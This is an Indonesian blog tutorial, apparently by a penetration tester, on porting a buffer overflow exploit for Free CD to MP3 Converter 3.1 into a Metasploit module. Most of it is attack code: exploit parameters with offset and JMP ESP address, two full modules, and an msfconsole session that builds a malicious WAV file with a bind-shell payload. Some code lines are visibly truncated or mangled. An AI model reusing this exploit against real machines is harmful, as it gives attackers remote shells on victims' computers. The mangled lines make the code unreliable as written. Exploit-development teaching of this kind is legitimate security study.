Porting Your Exploit to Metasploit

metasploit-logo1Beberapa waktu yang lalu saya udah memberikan tutorial basic exploit development (direct return technique) dan exploit development berbasis SEH. Sekarang mari kita porting exploit tersebut ke Metasploit Framework agar exploit tersebut semakin reliable dan bisa menggunakan macam-macam payload, fitur-fitur canggih yang ada di Metasploit.
Kita akan meng-konversi exploit yang pertama, yaitu Free CD to MP3 Converter. Sebelum itu, kita kumpulkan poin-poin penting yang membuat exploit tersebut berjalan dengan baik, seperti berikut:

junk = "\x41" * 4112                   # jumlah sampah yang dikirim
eip = "\x91\x3b\x43\x00"               # 0x00463b91 FFE4 JMP ESP at cdextract.exe
nops = "\x90" * 16
espdata = "\x90" * (5000 - len(junk+eip+nops)

Dulu saya melakukan proses exploit Free CD to MP3 Converter pada sistem Windows XP SP3 versi NIST FDCC (Federal Desktop Core Configuration), tapi kali ini saya melakukannya pada sistem Windows XP SP3 versi umum, seharusnya ini tidak akan menjadi masalah berarti karena alamat JMP ESP yang saya gunakan kali ini berasal dari module cdextract.exe.
Kita akan coba langsung meng-konversi exploit Free CD to MP3 Converter ke format Metasploit, dan akan saya jelaskan bagian-bagian yang penting. Karena proses eksploitasi Free CD to MP3 Converter menggunakan sebuah file wav (sehingga dikategorikan sebagai file format exploit), maka kita akan menggunakan salah satu exploit dari Metasploit sebagai template, yaitu a-pdf_wav_to_mp3.rb terdapat pada direktori /opt/framework/msf3/modules/exploits/windows/fileformat/

##
# $Id: a-pdf_wav_to_mp3.rb 12196 2011-04-01 00:51:33Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3  'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When
        the application is used to import a specially crafted m3u file, a buffer overflow occurs
        allowing arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'd4rk-h4ck3r', # Original Exploit
          'Dr_IDE',      # SEH Exploit
          'dookie'       # MSF Module
        ],
      'Version'        => '$Revision: 12196 $',
      'References'     =>
        [
          [ 'OSVDB', '67241' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/14676/' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/14681/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x0a",
          'StackAdjustment' => -3500
        },
       'Platform' => 'win',
       'Targets'        =>
            [
              [ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ],     # p/p/r in wavtomp3.exe
            ],
       'Privileged'     => false,
       'DisclosureDate' => 'Aug 17 2010',
       'DefaultTarget'  => 0))
    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
      ], self.class)
  end
  def exploit
    sploit = rand_text_alpha_upper(target['Offset'])
    sploit << generate_seh_payload(target.ret)
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)
  end
end

Bagian yang perlu diperhatikan adalah:

  • include Msf::Exploit::FILEFORMAT

    bagian ini menandakan bahwa exploit ini termasuk dalam fileformat exploit.

  • Payload

    bagian ini berisi space, badchars, dll

  • Targets

    bagian ini berisi offset

  • def exploit

    bagian ini berisi urutan eksploitasi.

Mari kita gabungkan informasi yang kita miliki diawal kedalam contoh exploit yang sudah ada.

##
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3  'Free CD to MP3 Converter 3.1 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Free CD to MP3 Converter 3.1. When
        the application is used to import a specially crafted m3u file, a buffer overflow occurs
        allowing arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'C4SS!0 G0M3S', # Original Exploit
          'modpr0be'       # MSF Module
        ],
      'References'     =>
        [
          [ 'OSVDB', '69116' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/15480/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'    => 800,
          'BadChars' => "\x00\x0a\x1a\x0f",
          'StackAdjustment' => -3500
        },
       'Platform' => 'win',
       'Targets'        =>
            [
              [ 'Windows XP Universal', {
                    'Ret' => 0x00463B91,     # perintah JMP ESP yang akan menimpa EIP.
                    'Offset' => 4112 } ],    # jmp esp in cdextract.exe, jumlah offset yang dicapai untuk menimpa EIP
            ],
       'Privileged'     => false,
       'DisclosureDate' => 'Nov 10 2010',
       'DefaultTarget'  => 0))
    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
      ], self.class)
  end
  def exploit
    sploit = rand_text_alpha(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(32)
    sploit << payload.encoded
    sploit < 0x00463B91

adalah perintah JMP ESP yang akan menimpa EIP.

Offset => 4112

adalah jumlah offset yang dicapai untuk menimpa EIP 🙂
Lalu bagian paling penting dari script tersebut, yaitu def exploit;

rand_text_alpha(target['Offset']

bagian ini adalah function dari Metasploit untuk men-generate sejumlah karakter alphanumeric sesuai dengan Offset yang telah kita tentukan di option Target sebelumnya. Setelah offset memenuhi stack dengan jumlah 4112 bytes, maka kita juga sudah tahu bahwa setelah itu EIP akan tertimpa sebanyak 4 bytes, sehingga option berikutnya [target.ret].pack(‘V’) memanggil alamat Ret => 0x00463B91 yang telah kita tentukan sebelumnya dan segera menimpa EIP. Setelah itu

make_nops(32)

akan menciptakan Nopsled sebanyak 32 bytes agar menjadi ‘landasan kosong’ sebelum mencapai shellcode. Bagian berikutnya,

payload.encoded

adalah function dari Metasploit untuk men-generate payload yang biasa kita gunakan pada Metasploit (misal: set payload windows/shell_bind_tcp). Terakhir, saya menambahkan Nopsled untuk melengkapi buffer yang saya kirim sebelumnya agar mencapai 5000 bytes (sesuai dengan buffer yang saya kirim sebelumnya). Lalu function

file_create(sploit)

menulis variable sploit dan menciptakan file msf.wav.
Simpan file diatas dengan nama freecdmp3_bof.rb dan copy ke folder /opt/framework/msf3/modules/exploits/windows/fileformat/ agar dapat digunakan oleh Metasploit. Berikut penggunaannya pada msfconsole:

       =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 738 exploits - 376 auxiliary - 82 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
       =[ svn r13774 updated yesterday (2011.09.22)
msf > use exploit/windows/fileformat/freecdmp3_bof
msf  exploit(freecdmp3_wav) > info
       Name: Free CD to MP3 Converter 3.1 Buffer Overflow
     Module: exploit/windows/fileformat/freecdmp3_bof
    Version: 0
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
Provided by:
  C4SS!0 G0M3S
  modpr0be
Available targets:
  Id  Name
  --  ----
  0   Windows XP Universal
Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.wav          no        The file name.
Payload information:
  Space: 800
  Avoid: 4 characters
Description:
  This module exploits a buffer overflow in Free CD to MP3 Converter
  3.1. When the application is used to import a specially crafted wav
  file, a buffer overflow occurs allowing arbitrary code execution.
References:
  http://www.osvdb.org/69116
  http://www.exploit-db.com/exploits/15480/
msf  exploit(freecdmp3_bof) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp
msf  exploit(freecdmp3_bof) > set lport 4321
lport => 4321
msf  exploit(freecdmp3_bof) > exploit
[*] Creating 'msf.wav' file ...
[*] Generated output file /home/tom/.msf4/data/exploits/msf.wav
msf  exploit(freecdmp3_bof) >

Dan ketika di load oleh program Free CD to MP3 Converter, sekilas program akan terlihat ‘hang’ tapi jika kita lihat melalui netstat:program-manager_2011-09-24_16-39-44
Terdapat port 4321 yang sedang LISTENING. Dan ketika kita melakukan koneksi ke port tersebut:
vulns1
Kita berhasil mengkonversi exploit yang sudah ada ke dalam Metasploit. Sekarang coba porting exploit berbasis SEH yang kemarin sudah kita kerjakan sama-sama. Selamat mencoba!

modpr0be
modpr0be

Posisi saya saat ini sebagai direktur dan pemilik PT Spentera, sebuah perusahaan yang fokus dalam bidang penetration test, incident response, intrusion analysis and forensic investigation.

Saya juga berkontribusi untuk repositori eksploit Metasploit Framework sebagai pengembang kode eksploit. Saat ini memegang sertifikasi dari Offensive Security Certified Professional (OSCP), Offensive Security Certified Expert (OSCE), ISO/IEC ISMS 27001: 2013 Lead Auditor/Auditor, GIAC Certified Intrusion Analyst (GCIA), dan Offensive Security Exploitation Expert (OSEE).

Jika ingin menghubungi saya dapat melalui email bisnis di tom at spentera dot id atau pribadi di me at modpr0 dot be

Articles: 64

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.